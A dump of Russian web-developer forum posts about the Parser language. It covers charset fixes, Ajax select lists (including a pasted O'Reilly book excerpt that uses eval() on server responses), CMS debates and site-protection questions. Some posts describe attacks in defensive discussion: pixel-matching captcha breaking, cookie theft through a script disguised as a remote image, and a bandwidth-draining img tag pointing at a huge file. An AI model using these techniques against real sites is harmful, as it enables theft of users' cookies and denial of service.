"50574","Вам нужно просто по событию первого селекта (напр., onChange) вызывать js-функцию, которая будет проверять наличие значения у первого селекта и делать вывод: включать или выключать второй селект."
"50576","Или я вас не понял, или вы не на тот вопрос ответили.\
\
Включать и отключать второй выпадающий список (ну пусть будет селект) с помощью js я знаю как :)\
\
Моя задача, как по onClick первого селекта присвоить парсеровской переменной (допустим $select1) значение, чтобы далее с ее помощью добыть пункты для второго селекта. Или получить пункты для второго селекта из БД можно как то иначе?"
"50577","чем AJAX не устраивает?"
"50578","...и данных второго списка для всех вариантов первого — не крайне много, можно их в виде js-массива передать в страницу или внешний .js и из него наполнять второй селект."
"50579","А популяризация Парсера - она зачем?"
"50581","Делал сайт в Денвере. Затем, надо было перенести все на основной сервер. Там стоит MySQL-сервер 4-й. Я, как обычно, экспортировал все в MySQL Front-у в SQL-файл и импортировал в новую базу.\
\
Далее, попытался просмотреть свой сайт и увидел вместо русских букв знаки вопроса. Причем, то, что формировалось из xsl-файлов отображалось правильно (подписи, заголовки и т.д.), а вот сам текст - сплошные вопросы.\
\
Кодировку задавал стандартно:\
[code]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
   $.value[text/html]\
   $.charset[$response:charset]\
]\
[/code]\
\
Попробовал поднастроить саму базу. В 4-й версии MySQL можно задавать кодировку для баз (при этом, для каждой таблицы индивидуально). Я с этим сталкиваюсь впервые, т.к. до этого напрягал админа. А сейчас приходится все разгребать самому.\
\
Самое непонятное, что когда я просматриваю данные базы через клиент, то он отображает все как надо, а вот вывод кривой. Я пробовал менять кодировку. Ставил KOI, и вообще убирал строку настройки (надеясь на кодировку UTF по умолчанию).\
\
Вывод данных на страницу делается с помощью\
[code]\
^untaint{$newsTable.text}\
[/code]"
"50582","Ajax Hacks  By Bruce Perry  \
Publisher: O'Reilly  Pub Date: March 01, 2006   ISBN: 0-596-10169-4 \
\
Глава 3:\
\
[b]Dynamically Generate A New Checkbox Group With Server Data[/b]\
Let a web page's checkbox content evolve from a user's interaction with an application.\
\
Most web forms are static, meaning the text labels and entry widgets like textareas, checkboxes, and radio buttons are hard-coded into the HTML. Lots of applications however can benefit from the ability to whip together form elements on the fly, based on a user's preferences. The content for the forms, if necessary, can even be derived from a server, such as questions for various types of quizzes and polls.\
\
Hey, hack #14 showed how to do this with a select list widget, so why don't we auto-generate a bunch of checkboxes?\
\
This hack gives the user a choice of \"team sports\" or \"individual sports\" in two radio buttons, then, when they click either button, grabs the sports categories from a server component and creates a new group of checkboxes.\
\
Choose Your Activity\
Figure 2-12 shows our barebones web page to begin with, before the DOM magic starts!\
\
Let the form evolution begin\
\
Here is the HTML for the form. The dynamic behavior for this page is all contained in the JavaScript file hacks2_7.js. The two radio buttons that the users may click to get things going are represented by the two input elements, and the newly generated checkboxes will appear within the div element with the id \"checks.\"\
\
[code]<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \
        \"http://www.w3.org/TR/2000/REC-xhtml1-20000126/DTD/xhtml1-strict.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\
<head>\
    <meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\" />\
    <script type=\"text/javascript\" src=\"js/hacks2_7.js\"></script>\
    <title>Dynamic checkboxes</title>\
</head>\
<body>\
<h3>Voting on Favorite Sports</h3>\
<h4>Pick a sports category</h4>\
<form action=\"javascript:void%200\">\
    <table border=\"0\">\
        <tr><td>\
        Team Sports: \
**<input type=\"radio\" name=\"_sports\" value=\"team\" />**\
</td></tr>\
      <tr><td>  Individual Sports: \
**<input type=\"radio\" name=\"_sports\" value=\"individual\" />**\
</td></tr>\
</table>\
    <hr />\
<div id=\"checks\"></div>\
</form>\
</body>\
</html>[/code]\
\
\
When the user clicks a checkbox, the page instantly displays either of two different sets of new checkboxes representing either individual sports or team sports. The actual lists of sports that make up the checkboxes are arrays of strings that the server returns. They obviously could be hard-coded into the JavaScript in order to prevent a network hit, but imagine that the checkbox widgets represent values that are frequently changing and/or must be derived from persistent storage on the server, such as complex multiple-choice questions in a questionnaire or product information?\
\
Figure 2-13 shows the web page after the user has clicked a radio button. This action only submits the value associated with the checkbox that the user clicked, not the entire form.\
\
\
\
Widgets spawning other widgets\
\
Okay, where's the code?\
Here is the JavaScript contained in the file hacks2_7.js. We have omitted the code that creates and initializes the request object, which you can review in Hack #1 and several other earlier hacks. The first thing you may notice in the code is that it assigns a function to handle the radio button's onclick event handler. These events are triggered by the user clicking either radio button.\
\
NOTE\
\
\
An \"event handler\" such as onclick or onchange is an attribute of an HTML element that can be assigned the code that will be executed whenever the user clicks that element, for example.\
\
\
This assignment begins in the window's onload event handler. This event takes place when all of the elements in the HTML page have been loaded by the browser.\
\
[code]var sportType=\"\";\
window.onload=function(){\
    var rads = document.getElementsByTagName(\"input\");\
    if(rads != null) {\
        for(var i = 0; i < rads.length; i++) {\
            if(rads[i].type==\"radio\"){ rads[i].onclick=function(){\
                getSports(this)};}\
\
        }\
    }\
}\
\
function getSports(obj){\
 if (obj == null ) { return; }\
    var url = \"\";\
    var val = \"\";\
    if(obj.checked) {\
        val=obj.value;\
        sportType=val;\
        url = \"http://www.parkerriver.com/s/fav_sports\"+\
              \"?sportType=\"+encodeURIComponent(val)+\"&col=y\";\
        httpRequest(\"GET\",url,true);\
    }\
}\
\
//event handler for XMLHttpRequest\
function handleResponse(){\
    try{\
        if(request.readyState == 4){\
            if(request.status == 200){\
                var resp =  request.responseText;\
                if(resp != null){\
                    //return value is a JSON array\
                    var objt = eval(resp);\
                    createChecks(objt);\
                }\
            } else {\
                //request.status is 503  \
                //if the application isn't available;\
                //500 if the application has a bug\
                alert(\
                        \"A problem occurred with communicating between\"+\
                        \" the XMLHttpRequest object and the server program.\");\
            }\
        }//end outer if\
    } catch (err)   {\
        alert(\"It does not appear that the server \"+\
              \"is available for this application. Please\"+\
              \" try again very soon. \\nError: \"+err.message);\
\
    }\
}\
\
function createChecks(obj){\
    var _div = document.getElementById(\"checks\");\
    var el;\
    //first remove all existing checkboxes\
    while(_div.hasChildNodes()){\
        for(var i = 0; i < _div.childNodes.length; i++){\
            _div.removeChild(_div.firstChild);\
        }\
    }\
    //obj is an array of new sports names\
    for(var i=0; i < obj.length;i++) {\
        el = document.createElement(\"input\");\
        el.setAttribute(\"type\",\"checkbox\");\
        el.setAttribute(\"name\",sportType);\
        el.setAttribute(\"value\",obj[i]);\
        _div.appendChild(el);\
        _div.appendChild(document.createTextNode(obj[i]));\
        _div.appendChild(document.createElement(\"br\"));\
    }\
}\
/* httpRequest() and related code omitted for the sake of brevity... */\
[/code]\
\
The first stage in generating the checkboxes is to send the request that fetches the values for each of these widgets. When the user clicks a radio button, the code calls getSports(). This function formats a URL based on the value it receives from the checkbox, then sends a request to a server component for a list of related sports.\
\
Greetings JSON\
The response comes back from the server in a string formatted as JavaScript Object Notation (JSON). A response might look like \"[\"football\",\"soccer\",\"tennis\", etc.]\". We get the response from the request object's responseText property, then convert the response to a JavaScript array using the eval() global function. Phew, that was a mouthful! If that wasn't clear, then see the discussion of handling JSON server values in Hack #6.\
\
NOTE\
\
\
Ajax developers often advocate JSON as the format of the server return value, in the many cases where XML might be overkill on both the server and client side of things.\
\
\
Once the code has this array of values from the server, then the code passes the array along to createChecks(). This function uses the DOM API to create the checkboxes, one checkbox for each value in the array (a checkbox for tennis, another for soccer, and so on). Here is the code for this function.\
\
function createChecks(obj){\
    var _div = document.getElementById(\"checks\");\
    var el;\
    //first remove all existing checkboxes\
    while(_div.hasChildNodes()){\
        for(var i = 0; i < _div.childNodes.length; i++){\
            _div.removeChild(_div.firstChild);\
        }\
    }\
    //obj is an array of new sports names\
    for(var i=0; i < obj.length;i++) {\
        el = document.createElement(\"input\");\
        el.setAttribute(\"type\",\"checkbox\");\
        el.setAttribute(\"name\",sportType);\
        el.setAttribute(\"value\",obj[i]);\
        _div.appendChild(el);\
        _div.appendChild(document.createTextNode(obj[i]));\
        _div.appendChild(document.createElement(\"br\"));\
    }\
\
\
The function gets a reference to the div element on the HTML page that will enclose the checkboxes. Then the code removes any existing checkboxes, because of it didn't, then the user could keep checking the radio buttons and generate several duplicate checkboxes appended on the end of the web page; this is an outcome we want to avoid. Finally, the code creates a new input element for each sport, so that each of these widgets looks like:\
\
<input type=\"checkbox\" name=\
\"teams_sports\" value=\"baseball\" /> baseball&#x00A;\
\
\
As soon as this function completes executing, the checkboxes appear on the web page without any visible refresh. Like magic!\
\
Hacking the Hack\
Naturally, you want the user to check these generated checkboxes for some purpose. Maybe to generate another sub-set of widgets or checkboxes? Or to send the values from the new checkboxes, when the user clicks them, to a server component? You can adapt the code from Submit Checkbox Values To The Server Without A Browser Refresh to accomplish the latter task, as well as create onclick event handlers for the new checkboxes (as in this hack) to give them some behavior.\
\
======================\
\
Сокращённый в этой главе код (из предыдущей главы):\
\
[code]/* Initialize a Request object that is already constructed */\
function initReq(reqType,url,bool){\
    try{\
        /* Specify the function that will handle the \
        HTTP response */\
        request.onreadystatechange=handleResponse;\
        request.open(reqType,url,bool);\
        request.send(null);\
    } catch (errv) {\
        alert(\
                \"The application cannot contact the server \"+\
                \"at the moment. \"+\
                \"Please try again in a few seconds.\" );\
    }\
}\
/* Wrapper function for constructing a Request object.\
 Parameters:\
  reqType: The HTTP request type such as GET or POST.\
  url: The URL of the server program.\
  asynch: Whether to send the request asynchronously or not. */\
function httpRequest(reqType,url,asynch){\
    //Mozilla-based browsers\
    if(window.XMLHttpRequest){\
        request = new XMLHttpRequest();\
        initReq(reqType,url,asynch);\
    } else if (window.ActiveXObject){\
        request=new ActiveXObject(\"Msxml2.XMLHTTP\");\
        if (! request){\
            request=new ActiveXObject(\"Microsoft.XMLHTTP\");\
        }\
        if(request){\
            initReq(reqType,url,asynch);\
        }  else {\
            alert(\"Your browser does not permit the use \"+\
            \"of all of this application's features!\");}\
    } else {\
        alert(\"Your browser does not permit the use \"+\
        \"of all of this application's features!\");}\
}\
\
[/code]"
"50583","Но, надо заметить, что способ, который я предложил, красивый. Он.... простой, с инженерной точки зрения, а значит правильный :) К нему еще временной антифлуд прикрутить по IP хотя бы, и цены ему не будет. Т.е.: если робот сработал \"наугад\" и ошибся - баним нещадно. Человек не глядя в коды в принципе не может нажать не видимую кнопку.\
\
Всем: а может кто реализует по быстрому?"
"50584","[b]Популяризация Парсера нужна, чтобы он развивался![/b]\
\
Чтобы развивались все расширения Парсера (классы, которые пишут разные люди). Без откликов пользователей сложно развивать инструмент. \
\
В частности, чтобы разивались такие расширения как CMS. Ибо CMS несут важную полезную функцию людям. А не отдельные модули/классы. Но вот хороших CMS еще нет. \
\
[b]Кто за создание доступной всем CMS?[/b]\
[b]Кто за развитие Парсера?[/b]\
[b]Какие способы развития еще знаете?[/b]"
"50585","Поставте в phpmyadmin поле сравнение windows-1251, или сразу сравнение по умолчанию в windows-1251"
"50586","То бишь, всегда есть вероятность что бот угадает и защита на него не подействует вообще."
"50587","Способ развития -- вкладывание денег."
"50589","Правда я PHPMyAdmin-ом не пользуюсь, а все делаю в MySQL Front-е. Как-то привычнее...\
\
Я просто не могу понять где рыть. Уже третий день экспериментирую с разными кодировками. Нервы сдают постепенно..."
"50598","@auto[]\
^connect[$connect_string]{^void:sql{SET NAMES 'cp1251'}}"
"50599","... создав себе с десяток других.\
\
[b]итак..[/b]\
1. Задал кодировку Latin1\
\
2. Вручную создал все базы (удалил из SQL-скрипта все кроме создания таблиц).\
\
3. Забил данные построчно.\
\
[b]Теперь о проблемах[/b]\
Пришлось переделать все файл xsl из cp1251 в utf... а это еще тот гемморой.."
"50600","Не помню где, недавно читал про глюки с win1251 в MySQL 4, для решения проблемы автор предлагал ставить версию MySQL 4.1, в которой эти проблемы решены или патчить исходники под Unix, а также  приводил подробное руководство по патчу MySQL 4 под windows winhex'ом, вроде бы это было в phpinside (могу ошибаться), думаю стоит посмотреть changelog версии MySQL 4.1"
"50601","В Linux версии вопросики возникают при неверной установке поля connection charset для этого самого коннекшена.\
Лечить это получалось двумя способами:\
1. Установка libmysqlclient.so из пакетов, шедших с системой\
2. При использовании шаред либов с mysql.com выполнение директивы SET NAMES (уже описанной в этом треде)\
\
P.S. В 4.1 как раз коннэкшн чарсет и появился."
"50602","была та же проблема\
\
в моем случае грабли были в строке-подключении\
\
так - выдавались знаки вопроса:\
mysql://...@localhost/...?ClientCharset=windows-1251]\
\
так - заработало нормально:\
mysql://.....@localhost/....?charset=cp1251_koi8"
"50603","windows-1251 в mySQL такого нет(это можно посмотреть в списке кодировок тогоже phpmyadmin)\
cp1251 -- есть."
"50604","Все сделанные мною сайты (кроме того, который делаю сейчас) работают под UNIX и используют MySQL 4. такм таких проблем не возникало. Только под win32."
"50605","Смысл в том, чтобы оператором ^throw[тили-тили;трали-вали] прерывать исполнение вашего скрипта и мерять расход памяти в этом месте. Таким способом вы обнаружите тот код, который все съел."
"50606","http://notepad-plus.sourceforge.net"
"50607","...потому как каждый раз кнопки будут содержать новые action. Но, разумеется, 100% защиты в принципе не существует."
"50608","Конечно можно ботам, которым повезло, давать абонемент на спам в течении месяца, чтоб популярность лотереи поднять..."
"50609","Вынес \"расходующий код\" в отдельный метод - все заработало."
"50610","до обновления mysql и парсер работал вариант 1\
\
после обновления вместо русского текста появились знаки вопроса\
\
после варианта 2 - все стало нормально, хотя помучиться пришлось - и с my.ini, и с пр."
"50611",">Ибо CMS несут важную полезную функцию людям. А не отдельные модули/классы.\
\
И какую же \"важную полезную функцию\" несут CMS людям? ))))\
\"CMS спасут мир\"?"
"50612","Лично я не вижу смысла создавать еще одного нюкоподобного уродца, которых и так полно (как shareware, так и фришных)"
"50613","Поля и/или action  вашей формы совпадают с полями какого-нибудь популярного но взломанного FormMail скрипта (помнится, давным давно  [url=\"http://www.linuxexposed.com/Articles/Hacking/The-FormMail-Hack-Explained.html\"]поломали[/url]   скрипт из поганенькой но сверхпопулярной коллекции \"Matt's Scripts\"). Замечено, что спамеры такие скрипты ищут и пытаются попользоваться sendmail'ом сервера жертвы. \
\
Простейший шаг - подредактируйте названия полей. Было subject - сделайте sub123ject, было from - пусть будет fr456om. Теперь у вас есть время на \"перегруппировку войск\" - спокойненько воплотите один из предложенных вам тут вариантов."
"50614","Я как заказчик (я не программист) до сих пор не увидел преимуществ универсальных СУК. В том числе в таком параметре как \"экономия времени на разработку\". Идея универсальных (особенно бесплатных) СУК давно уже дискредитировала сама себя (пример с Нюками очень показателен :)."
"50616","мне не интересно видеть cms, мне например интересно видеть фрэймворк."
"50617","спасибо, уже юзаем."
"50618","Я бы не хотел влезать в тот ваш диалог несколькими постами ниже в силу недостаточности моих практических знаний.\
Если подразумевается фреймворк как платформа в виде набора различных модулей, классов или функций, то кто ж против?\
Вопрос лишь в том, что увязывание их всех в сквозную систему (что и  подразумевает, я так понимаю, переход в категорию \"фреймворк\" из просто языка), я вляется обычной \"сверхзадачей\". Самой дорогостоящей частью.\
Думаю, что либо найдется амбициозный человек \"над темой\", чтобы это все организовать, либо проект эволюционирует постепенно сам.\
Впрочем, на эту тему можно почитать рассуждения и более грамотных людей, чем я :)"
"50619","1. Для каждого проекта делать свою CMS -- это глупость. \
2. Большинство проектов сильно не отличаются\
3. CMS не должна быть бесплатной, cms должна быть хорошей, а для построения хорошей cms надо учиться писать cms ВООБЩЕ, и язык тут не имеет значения. Вопрос в том что зная один Парсер делать это не возможно, поскольку учится не на чем."
"50620","Нет, почему же, все правильно говорите.\
1. с точки зрения коммерции это не выгодно, мне выгоднее нанять несколько хороших программистов на пхп которые будут достойно выполнять данную задачу, а не изобретать велосипед.\
2. если найти достойных программистов на Парсер, такой фреймворк будет куда более дорогим удовольствием чем оный на ПХП, и делать его имеет смысл, только с целью популяризации языка. \
3. Студия популяризации вероятно пока не хочет, поскольку тестеров на форуме и так хватает.\
\
При популяризации язык потеряет вою главную коммерческую ценность -- а именно то, что лишь ограниченное число программистов могут работать с ним. \
Зарабатывать на популяризации можно только продавая ПО, как Zend например, или на том \"Что ты создатель великого и ужасного...\"\
\
я думаю врядли на форуме найдется владелец крупной компании который захочет взятся за вышеперечисленное."
"50621",">[...] и делать его имеет смысл, только с целью популяризации языка.\
\
Популяризации языка это способствовать не будет никоим образом."
"50622","Тут мы переходим от языка к общим вопросам сайтостроения :)\
Я тут большой ответ написал, но потер нафиг.\
Действительно, язык не при чем. Но и cms не при чем. Это тоже лишь инструмент. Даже программиист - инструмент, не более, для реализации собственно идеи. Поэтому отдавать на откуп любому из инструментов полную реализацию идеи - неразумно :)\
Если у инструмента недостаточно функционала, нужно применять другой инструмент или их совокупность. Вполне очевидно. И не делать из инструмента культа :)\
Парсер пока не японский прецизионный станок с ЦПУ, но уже давно и не топор :)\
Кстати, я во многом с Вами согласен, даже если этого не видно :)"
"50623","Вопрос к уважаемой публике: занимается ли кто-нибудь серьёзным проектированием объектно-ориентированных моделей в PowerDesigner?\
Может кто уже сварганил описание language model Парсера?\
Может возможна какая-либо автоматизация процесса описания модели языка?\
\
Зарываться в редактирование существующих описаний для других языков и путём правки и бубна получать оную для Парсера - жутко не хочется, а ООП модель построить было бы очень недурственно...\
\
Есть ли у кого какие шаги/попытки/наработки/мысли в данном направлении?"
"50624","Вещь, несомненно, интересная, но...\
Тов. Лебедев обычно любит ссылаться на опыт лучших представителей предыдущих поколений.\
Так как я немного интересуюсь историей, то просто взял с полки книги разный времен - английские, русские и немецкие книги начала, середины и конца 20 века. И не нашел нигде висячей пунктуации...\
Более того, я задумался и не смог понять как можно в верстатке или гранках такое обеспечить...\
\
А за фичу спасибо :) \"Неповторимый кайф\" действительно есть :)"
"50625","почему парсер не работает когда заходишь с внешнего ip... не работает только парсер сам Апач работает... как решить такую проблему?"
"50626","Только вот не надо сейчас лезть на меня с кулаками!\
А как это? Зачем это? Разве класс из примеров не Plug'n'Play?"
"50627","в файле httpd.conf (или с очень похожим названием) есть локальный ip адрес 127.0.0.1 (можно найти поиском), меняйте его на существующий внешний всё будет смотреть в мир.\
\
ЗЫ для локального сервера на котором идёт разработка это не есть хорошо(хотя уменя смотрит в локальную сеть организации)"
"50629","в том, то и дело, что в httpd.conf меняю ip на внешний, все работает html паги он показывает, но когда открываешь файл содержащий инструкции parser`a, он выводит содержимое этого файла не выполняя этих инструкций..."
"50630","Читать пример использования до просветления.\
Делать всё [b]пошагово[/b]."
"50631","Так что ж мне делать то?\
\
Штука такая - я прочитал все уроки по парсер. Все понял, даже понравилось. \
Написал пару сайтов. Понравилось. Но не понравилось вот что - пропасть между приведенными 6 уроками и тем что выставляется после - колоссальная! Вот например, нигде в уроках не что значит оператор типа @operator[param1][param2] . Почему 2 параметра не понятно, и почему в таком написании, а спросить стыдно. И еще очень многого есть. Вникать в суть каждой строчки времени уже нет, как раньше. Нет, я не ищу легких путей, но это так. \
\
Мне много не надо, просто подскажите что именно я должен сделать для подключения класса авторизации?"
"50632","перечитайте этот тред: все что вас просят - это [b]привести ваш код[/b]. а вы про кулаки вместо кода.\
\
P.S. про @operator[param1][param2] кстати есть в документации."
"50636","--> avaxhome.ru"
"50637","вы не предприняли никаких мер к затруднению распознавания вашей картинки.\
\
в итоге её распознать можно.. даже кодом на parser ;)\
алгоритм:\
нападающий после нескольких reload имеет в руках копию вашего digits.gif\
\
после чего определяет, какие пикселы в вашем шрифте являются ключевыми для каждой циферки.\
\
после чего в скачанной картинке проверяет, какие пикселы из ключевых пикселов цифры 0 горят на первом знакоместе.\
из цифры 1, 2 ...\
после чего смещается на знакоместо правее и повторяет.\
\
что надо было сделать, уже писал в сообщениях с таким же заголовком."
"50638","что \"Данный скрипт можно усложнить, дабы затруднить распознавание\".\
Усложнение делается элементарно - берётся порядка 10-100 различных текстур, берётся 10-100 шрифтов. Надпись случайным образом комбинируется из текстуры и набора цифр напианных разными шрифтами (вперемешку). Плюс добавляется случайное смещение цифр от базовой координаты вывода.Делается наползание цифр друг на друга. Сверху можно нарисовать сетку со случайным шагом. и подобным образом извращаться можно до бесконечности, но даже перечисленного набора вполне достаточно чтобы очень сильно затруднить распознавание."
"50639","смотри в докуметации к парсеру, раздел установка содержимое файлф .htaccess"
"50640","Спасибо! Полезное дополнение!\
\
Но! В том виде, как написано в [url=\"http://www.artlebedev.ru/kovodstvo/120/\"]Куроводстве[/url] я использовать не буду — уж очень сильно вывешиваются.\
\
И уж тем более есть несколько разхождений — наберите тот же самый текст из [url=\"http://www.artlebedev.ru/kovodstvo/120/\"]Куроводства[/url] в Adobe InDesign CS, включите оптическое выравние поля (Type > Story) и посмотрите, что и насколько вывешивается — кавычки «чуть-чуть», а скобки вообще не вывешиваются.\
\
Подожду чью сторону примет автор…\
Лично я склоняюсь в сторону Adobe.\
\
P.S. Может кому известна формула зависимости вывешивания символов от размера шрифта используемая Adobe?\
\
fun: http://design.vbyar.ru/notes/2/"
"50641","ОК, весь код ведь написан в примере, где есть файлы _auth_info.html и т.д. Как я могу идти дальше, если не работает первоначальный пример.\
\
Запускаю как есть, пишет об ошибке 'connect' $SQL:drivers table must be defined [parser.runtime]\
Далее в auto.p (в тот что из примера) вписываю $SQL.connect-string[mysql://root@localhost/authdb] перед строкой $MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
\
Выдает ошибку /_auth_info.html?22: z:/home/ссс.ru/www/auto.p(13:21): 'connect-string' element can not be stored to void [parser.runtime]\
\
то есть придирается к строке $SQL.connect-string[mysql://root@localhost/authdb]. \
\
А может дело в версии апача?"
"50642","Почему же?\
Чем больше качественных средств для разработки конечного продукта, тем популярнее язык."
"50643","Я руководствовался таким соображением:\
\
- новичка стоит обезопасить от возможных проблем, которые могут возникнуть, когда вебсервер \"смотрит наружу\". Например, вы недописали авторизацию на своём тестовом сайте, а к вам уже зашёл сосед по локалке вася хакеров, который развлекался сканером портов. Мозгов у васи нет и он лазит по вашей админке. Плохо? Плохо.\
- когда появляется желание открыть локальный сайт \"наружу\", стоит почитать документацию и узнать, как это делается. Если документация не читана, это чревато проблемами для пользователя, а пользователей я берегу от набивания шишек.\
\
\
[b]Теперь по поводу вашей ситуации.[/b] В httpd.conf прописано ДВА сайта, которые обслуживает Apache. У первого адрес 127.0.0.1, у второго - 127.0.0.2. К первому прикручен парсер, ко второму - нет. И я полагаю, что вы, второпях, [b]заменили на ваш внешний ip не 127.0.0.1, а 127.0.0.2[/b]. Вовне у вас смотрит [b]не тот сайт[/b]. \
\
Скажите, сеанс телепатии мне удался? Заработало?"
"50645","Гостевые спамятся несложным некастомизируемым софтом, а не ручками. Если у пользователя рядовой проект (не forum.mts.ru) с маленьким усложнением, его обойдут стороной. Люди ж ставят цель поднять page rank, поставив на себя тыщщи ссылок - какой смысл им напрягать мозги ради одной? Плюнут, пройдут мимо.\
\
Зачем надстраивать забор на два метра, если уже 20 см. хватит?"
"50646","потом расскажите что тестовый пример говорит про $SQL:drivers и получается ли у него подключиться к БД."
"50647","Есть предложение сделать еще один RSS канал — Последние сообщения.\
\
Если можно получать все сообщения в почту, почему бы не раздавать их еще и в RSS? :-)"
"50649","Связался с товарищем, делавшем [url=\"http://sourceforge.net/projects/papple/\"]php модель[/url] для PowerDesigner.\
Он кое что подстаказал.\
Итого:\
1. редактор модели встроен в сам PD (я просто слепой и раньше не видел):\
   Language -> Edit Current Object Language\
2. описание редактора: [url=\"http://manuals.sybase.com/onlinebooks/group-pd/pdd1100e/advanced/@Generic__BookTextView/19680;lang=ru#X\"]прямой линк[/url], [url=\"http://sybooks.sybase.com/nav/summary.do?prod=9392&lang=en&prodName=PowerDesigner&archive=0&Submit.x=13&Submit.y=13\"]кривой линк на всю доку[/url]\
\
Пока смотрю на всё это хозяйство и держу глаза руками, чтоб не выпали.\
У кого есть желание покопаться - милости прошу..."
"50650","не знаю. какие есть предложения?"
"50651","Логика в наличии парсерных фреймворков для популяризации языка есть, но ее ни грамма в написании этих самых фреймворков собственно на парсере. Для популяризации нужно иметь фреймворк с GUI для win32.\
\
Но я сомневаюсь, что кто-то найдет целесообразность в подобных проектах."
"50652","Логика в наличии парсерных фреймворков для популяризации языка есть, но ее ни грамма в написании этих самых фреймворков собственно на парсере. -- немного не понимаю, zend framework, cakephp -- написаны на php.\
\
 Для популяризации нужно иметь фреймворк с GUI для win32.\
Может речь идет об IDE?"
"50653","возможно результат запроса виде \"?year=2006\", получить в виде переменной year со значением 2006?"
"50654","$form:year наверное так?"
"50655","Все вышесказанное, после замены 'фреймворк' на 'IDE', остается в силе."
"50656","Я узнавал сколько стоит придаток к эклипс аля пхпEclipse -- 15000eur, хотя один хороший знакомы сказал что плагин к нему написать достаточно просто, но в Java я к сожалению судить не могу."
"50657","$SQL:\
mysql \\usr\\local\\parser3/lib/parser3mysql.dll (относительный путь. проверка невозможна) \
\
DOCUMENT_ROOT: совпадает с директорией тестового скрипта (z:/home/auth.ru/www)\
Путь к скрипту: z:/home/auth.ru/www\
$response:charset: WINDOWS-1251\
$request:charset: WINDOWS-1251\
$request:uri: /_test.html\
$request:query: \
$SQL.connect-string: Определена\
$MAIL.SMTP: Определена\
$CLASS_PATH: Не определен"
"50658","И ещё, а почему бы не проверить так или не так, почему же надо сразу бежать на форум и спрашивать? Вот честное слово не понимаю, проверить самому максимум - 5 мин.\
p.s. Вы на правильном пути..."
"50659","Как бы спастись от такой JS инъекции:\
\
<img src=\"http://domain.ru/temp/pic.gif\">\
\
pic.gif представляет собой жабаскрипт. Очевидно надо как-то запрашивать контент0тайп при публикации такой картинки, как бы енто сделать без потерь?"
"50660","+ http://www.parser.ru/forum/?id=48851"
"50661","А зачем вообще позволять постить remote-картинки?\
Дождётесь gif'чика смешного веса но размером 5000x5000, который запостит талантливый человек (помнится, несколько месяцев назад один урод так карёжил пользователям ЖЖ френдленты).\
\
Сделайте upload-форму, закачанный файл проверяете ^image:measure и ресайсите при необходимости. Закачанному даёте уникальный id, картинку разрешаете ставить только псевдотэгом [[i]id-картинки[/i]]"
"50662","Загружаем картинку себе.\
Проверяем расширение файла (не обязательно).\
потом ^try{^image::measure[]}{посылаем}\
И на всякий случай проверяем размеры картинки и наличие EXIF ннформации..."
"50663","в предыдущем посте я просил сообщить информацию о $SQL.drivers и о том, получается-ли у тестового скрипта подключиться к БД.\
\
вы приводите лишь часть запрощеной информации + пачку ненужного. приведите плиз то, что я у вас просил (там прямо буковки написаны: 'Работа с SQL...').\
\
и ещё: не правьте auto.p из архива. переменную $SQL.connect-string определяйте в [b]конфигурационном[/b] auto.p вашего сайта, в противном случае номера строк мне не говорят ни о чем, т.к. у вас измененный файл.\
\
и напоследок: вместе с ошибкой желательно приводить весь Stack Trace."
"50664","Предположим, вы так \"защищаете\" посещаемый форум. И при каждом открытии страницы посетителем вы тащите к себе картинку и меряете её. \
\
Очевидная проблема - я вам в форум пишу <img src=\"http://www.kernel.org/pub/dist/knoppix-dvd/KNOPPIX_V4.0.2DVD-2005-09-23-DE.iso\"> и парсер пытается качнуть трёхгигабайтный файл к себе. Через полминуты его по таймауту пристрелят, но за это время он успеет качнуть мегабайт шестьдесят. И так на каждый pageview. Угадайте, когда хостер прикроет ваш сайт \"до выяснения\"?\
\
Вторая проблема - я, хакер, размещаю у вас ссылку <img src=\"http://example.com/pic.gif\">. То, что выглядит картинкой - на самом деле скрипт, который, если в User-agent стоит \"Parser\", выдаёт изображение смайлика, a если в User agent присутствует  \"MSIE\" - то [i]страшный и ужасный жабаскрипт[/i]. Вы считаете картинку безопасной, а я ворую кукисы у ваших посетителей."
"50665","В конструкциях <href=\"http://example.com\"> в \"http\" первая буква не подчёркивается."
"50666","Спасибо за ссылку!\
\
Теперь проблема в том, что там этого файла же нет! Ссылка на него находится, но как только жмещь скачать с rapidShare приходит ответ, что File deleted by uploader!\
\
А не затруднит её на контактный mail скинуть?\
\
Сорри за настойчивость :-)"
"50667","Интересно, но необходимости в этом на мой взгляд не было и нет."
"50668","Я понимаю, что мой пример плох и с самого начала знал эти недостатки, но для того он и \"пример\" чтобы подумать и сделать лучше. Я так, как выше написал, не делаю. Я  вообще не позволяю пользователям вставлять картинки. Вообще единственно-правильный вариант можно искать очень долго (это как тред про циферки). То, взломает ли ваш форум хакер или нет зависит только от того насколько ему выгодно его ломать (если хакер конечно хороший). Как Вы понимаете 100% защиты в интернете не существует."
"50670","Пробую пример веб-сервиса Типографа с сайта design.ru.\
\
Мне выдается таккая ошибка: \
[quot]'load' invalid option passed[/quot]\
\
Вот код, на который ссылкается ошибка: \
[code]	$remoteTypograf[^file::load[binary;http://typograf.artlebedev.ru/webservices/typograf.asmx?parserClient;\
		$.method[POST]\
		$.body[^untaint[as-is]{$SOAPBody}]\
		$.charset[utf-8]\
	]]\
[/code]"
"50673","Возможно нам они тоже покажутся интересными."
"50674","интересует вопрос, планирует ли Студия выпуск IDE для Парсер?"
"50676","Оригинальный файл работает:\
http://www.artlebedev.ru/tools/typograf/webservice/parser-test/example.html"
"50677","То есть пытаться загрузить картинку с чужого хоста? У меня сервак на хорошем канале - могу нехило попасть на траф (\
Нет ли вариантов без загрузки к себе?"
"50678","Боюсь, если я обрежу юзерам возможность показывать фоты себя любимых с разных фотосайтов они это не оценят..\
\
Вот мне что-то вспомнился тэг <noscript>, пойду пробовать =)"
"50679","- почему сайт лежал (после взлома)\
- почему на дисках с \"базами данных\", продается их информация оставленная на этом сайте и укзаденая в результате атаки\
\
:-)"
"50680","Вопрос, конечно, не парсерный, не плюсуйте строго )\
\
<noscript>\
Текст\
</noscript>\
\
текста нетуть... не видно =("
"50681","noscript - это альтернативный текст, выводящийся в случае отключенного javascript."
"50682","Вышла версия 3.1, где это учтено.\
Версия - так называемая bugfix'овая, заметные перемены будут только в следующей."
